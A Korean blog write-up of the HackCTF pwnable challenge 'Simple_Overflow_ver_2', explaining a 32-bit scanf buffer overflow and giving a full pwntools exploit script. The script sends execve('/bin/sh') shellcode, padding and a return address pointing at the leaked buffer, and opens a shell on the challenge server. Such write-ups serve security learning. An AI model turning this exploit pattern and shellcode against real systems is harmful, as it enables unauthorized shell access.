WAR GAME/HackCTF

[HackCTF : Pwnable] Simple_Overflow_ver_2 풀이 (32bit, shellcode)

jir4vvit 2021. 3. 9. 10:24

문제 풀이 환경 : ubuntu 20.04
사용 툴 : IDA 7.5 pro

Analysis

scanf에서 BOF가 터진다.

그리고 buf 주소를 친절하게 출력해 준다. 이게 끝이다. 이전문제랑 걍 똑같다.

 

How to exploit

보호기법도 클린하니 쉘코드를 이용하면 될 것 같다.(NX disabled)

(이전문제랑 똑같아서 아무생각없이 64bit shellcode를 넣었었는데 이 문제는 32bit이다; 방심 ㄴㄴ;)

 

payload = 쉘코드 + dummy + SFP + RET(쉘코드 주소)

RET에는 쉘코드 자체가 아니라 쉘코드 주소가 들어가야하는 것을 명심명심

 

Let's exploit

from pwn import *

#p = process('./Simple_overflow_ver_2')
p = remote('ctf.j0n9hyun.xyz', 3006)
e = ELF('./Simple_overflow_ver_2')


p.sendlineafter(': ', 'aaaa')

#p.recvuntil('\n')
buf_addr = int(p.recv(10),16)

print(hex(buf_addr))

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
payload = ''
payload += shellcode
payload += 'A'*(136-len(shellcode))
payload += 'BBBB'   # SFP
payload += p32(buf_addr)    # RET

pause()
p.sendlineafter(': ', 'y')
p.sendlineafter(': ', payload)
p.sendlineafter(': ', 'n')

p.interactive()